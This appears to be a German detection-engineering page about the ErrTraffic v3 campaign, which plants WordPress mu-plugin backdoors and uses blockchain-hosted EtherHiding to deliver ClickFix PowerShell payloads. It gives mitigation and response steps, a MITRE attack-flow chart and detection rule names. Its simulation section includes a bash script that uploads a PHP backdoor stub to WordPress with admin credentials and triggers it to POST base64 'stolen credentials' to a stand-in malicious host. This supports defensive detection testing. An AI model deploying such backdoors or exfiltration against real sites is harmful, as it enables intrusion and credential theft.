ErrTraffic v3 nutzt EtherHiding in ClickFix-Kampagnen
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Der Bericht beschreibt eine neue Kampagne, die das ErrTraffic v3-Tool verwendet, um WordPress-Seiten zu kompromittieren, indem ein mu-Plugin-Backdoor installiert wird. Das Backdoor injiziert verschleiertes JavaScript, das zusätzliche Nutzlasten über eine blockchain-basierte EtherHiding-Technik abruft. Die letzte Phase liefert betriebssystem-spezifischen Schadcode, einschließlich einer verschlüsselten PowerShell-Nutzlast, an die Browser der Opfer. Sicherheitsfehler, wie fest kodierte Schlüssel, gefährden die Infrastruktur.
Untersuchung
LevelBlue SpiderLabs untersuchte das WordPress mu-Plugin-Backdoor, das eingebettete JavaScript-Beacon und das ErrTraffic V3-Kontrollpanel. Sie verfolgten die Verwendung von statischen XOR-Schlüsseln, Base64-Dekodierung und Smart-Contract-Aufrufen zu Polygon RPC-Nodes. Die Analyse identifizierte auch den fest kodierten Authentifizierungsschlüssel, der für die API-Kommunikation verwendet wird, und kartierte die Hosting-Infrastruktur über mehrere bulletproof-Provider.
Minderung
Verteidiger sollten das mu-Plugin-Backdoor entfernen, bekannte bösartige TLDs und IP-Bereiche blockieren, die Nutzung des fest kodierten API-Schlüssels überwachen und ausgehende Verbindungen zu Blockchain-RPC-Endpunkten einschränken. WordPress-Installationen regelmäßig auf unerwartete mu-Plugins auditieren und die Dateiintegrität validieren. Webanwendungs-Firewalls einsetzen, um die Beaconing-JavaScript-Muster zu erkennen.
Reaktion
Bei Erkennung den betroffenen Webserver isolieren, die Backdoor-Dateien entfernen und alle Administrator-Anmeldedaten wechseln. Die identifizierten bösartigen Domains und RPC-Endpunkte am Netzwerkrand blockieren. Eine vollständige forensische Überprüfung durchführen, um heruntergeladene Nutzlasten zu identifizieren und die fortgesetzte C2-Aktivität mithilfe des offengelegten API-Tokens zu überwachen.
"graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions step_initial_access["<b>Aktion</b> – <b>T1659 Inhaltsinjektion</b><br/>WordPress-Seite ausnutzen, um bösartiges muu2011plugin hochzuladen (sessionu2011manager.php)"] class step_initial_access action step_persistence["<b>Aktion</b> – <b>T1671 Cloud Application Integration</b> / <b>T1525 Internes Bild implantieren</b><br/>Backdoor installiert als ein Muß-u2011use Plugin, das bei jeder Anforderung ausgeführt wird"] class step_persistence action step_credential_access["<b>Aktion</b> – <b>T1056.003 Eingabeauffangung</b><br/>Eingebettetes JavaScript erfasst Admin-Anmeldedaten und sendet diese an den Angreifer"] class step_credential_access action step_c2["<b>Aktion</b> – <b>T1102.003 Webdienst Einu2011Wege Kommunikation</b><br/>Beacon sendet Besucherdaten über navigator.sendBeacon an Angreifer-Domains"] class step_c2 action step_obfuscation["<b>Aktion</b> – <b>T1027 Verschleierte Dateien</b><br/>Nutzlasten, verschlüsselt mit Base64 und XOR, eingebettet in Inline-Skripten"] class step_obfuscation action step_smart_contract["<b>Aktion</b> – <b>T1059.009 Cloud API</b><br/>Skript fragt Polygon-RPC-Endpunkte und Smart Contracts (EtherHiding) nach URLs ab"] class step_smart_contract action step_dead_drop["<b>Aktion</b> – <b>T1102.001</b><br/>Verwendet Blockchain als deadu2011drop für C2-Konfiguration"] class step_dead_drop action step_encrypted["<b>Aktion</b> – <b>T1573.001 Symmetrische Kryptographie</b><br/>API-Verkehr, verschlüsselt mit AESu2011GCM oder RC4 unter Verwendung eines hardu2011coded Schlüssels"] class step_encrypted action step_execution["<b>Aktion</b> – <b>T1059.001 PowerShell</b><br/>Downloader erstellt temporäres Verzeichnis, schreibt ausführbare Datei und ruft OSu2011spezifische Nutzlast ab"] class step_execution action step_priv_esc["<b>Aktion</b> – <b>T1546.016 Installer-Pakete</b><br/>PowerShell-Skript registriert sich als Installationspaket, um Standbein zu erhalten"] class step_priv_esc action %% Connections step_initial_access –>|führt zu| step_persistence step_persistence –>|ermöglicht| step_credential_access step_credential_access –>|liefert| step_c2 step_c2 –>|nutzt| step_obfuscation step_obfuscation –>|ermöglicht| step_smart_contract step_smart_contract –>|speichert| step_dead_drop step_dead_drop –>|liefert| step_encrypted step_encrypted –>|unterstützt| step_execution step_execution –>|ermöglicht| step_priv_esc "
Angriffsfluss
Erkennungen
Verdächtige Befehlszeile enthält UNC-Pfad mit ausführbarer Datei als Argument (via cmdline)
Ansehen
Mögliche ClickFix-Angriffsmuster in der Befehlszeile (via cmdline)
Ansehen
Mögliches PowerShell-Ausschlussverfahren in verdächtigem Verzeichnis (via cmdline)
Ansehen
Aufruf verdächtiger .NET-Methoden aus PowerShell (via powershell)
Ansehen
Mögliche PowerShell-Verschleierungsindikatoren (via powershell)
Ansehen
Möglicher Missbrauch von Publicnode Ethereum als C2-Kanal (via dns_query)
Ansehen
Verdächtige Kommando- und Kontrollanfrage durch ungewöhnliches Top-Level-Domain (TLD) DNS-Anfordern (via dns)
Ansehen
Erkennung von verschleierten PowerShell-Nutzlasten mit erzwungener TLS 1.2-Nutzung [Windows PowerShell]
Ansehen
Erkennung von eingebettetem JavaScript und WordPress-Backdoor [Webserver]
Ansehen
Erkennung von ErrTraffic V3-Aktivität auf kompromittierten WordPress-Seiten [Webserver]
Ansehen
Simulation-Ausführung
Voraussetzung: Der Telemetrie- und Basislinientest muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der gegnerischen Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennung erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu einer Fehldiagnose.
-
Angriffserzählung & Kommandos:
Ein Angreifer hat ein WordPress-Admin-Konto kompromittiert und lädt eine bösartige PHP-Datei mit dem Namen hochsession-manager.phpin das Webroot. Die Datei enthält einen harmlos aussehenden HTML-Abschnitt, der mit einem Inline endet<script>Block, dessen Kommentar lautet „JavaScript am Ende der Sektion eingebettet“. Das Skript führt eine heimliche Datenexfiltration in einen Cloud-Speichercontainer durch (simuliert über eincurlPOST). Keine Verwendung vonnavigator.sendBeacon()ist vorhanden, wodurch die Anfrage innerhalb des Erkennungsfensters der Regel bleibt.- Bösartige Backdoor hochladen:
curl -u admin:passwort -F "file=@session-manager.php" "http://ziel.example.com/wp-admin/async-upload.php" - Die Backdoor auslösen (erzeugt die Erkennung-auslösende Telemetrie):
curl -s "http://ziel.example.com/wp-content/uploads/session-manager.php?cmd=exfiltrate"
- Bösartige Backdoor hochladen:
-
Regressionstest-Skript:
#!/usr/bin/env bash # # Simuliert das Hochladen und Ausführen einer bösartigen WordPress-Backdoor # die den genauen Satz enthält, nach dem die Sigma-Regel sucht. # set -euo pipefail TARGET="http://ziel.example.com" ADMIN_USER="admin" ADMIN_PASS="passwort" # 1. Erstellen Sie das bösartige PHP-Payload lokal cat > session-manager.php <<'EOF' <?php // JavaScript am Ende des Abschnitts eingebettet echo "<!DOCTYPE html><html><body>"; echo "<script>/* bösartiger Code */</script>"; echo "</body></html>"; // Einfaches Exfiltration-Stub (kein sendBeacon) if ($_GET['cmd'] === 'exfiltrate') { $data = base64_encode('gestohlene_Anmeldedaten'); $url = "https://bösartiger-Speicher.example.com/upload"; $options = array('http'=>array('method'=>"POST",'header'=>"Content-Type: application/x-www-form-urlencodedrn",'content'=>http_build_query(array('data'=>$data)))); $context = stream_context_create($options); file_get_contents($url, false, $context); } ?> EOF # 2. Laden Sie das Payload über den async-Upload-Endpunkt von WordPress hoch curl -s -u "${ADMIN_USER}:${ADMIN_PASS}" -F "file=@session-manager.php" "${TARGET}/wp-admin/async-upload.php" >/dev/null echo "[+] Hochgeladener bösartiger session-manager.php" # 3. Backdoor auslösen, um detektionssichtbare Daten zu erzeugen curl -s "${TARGET}/wp-content/uploads/session-manager.php?cmd=exfiltrate" >/dev/null echo "[+] Backdoor ausgelöst – Erkennungstelemetrie sollte nun vorhanden sein" # 4. Optional: Warten auf SIEM-Aufnahme sleep 5 -
Bereinigungs-Befehle:
# Entfernen Sie die bösartige Datei vom Server (erfordert Admin-SSH-Zugang) ssh admin@ziel.example.com "rm -f /var/www/html/wp-content/uploads/session-manager.php" echo "[+] Bereinigung abgeschlossen – Backdoor entfernt"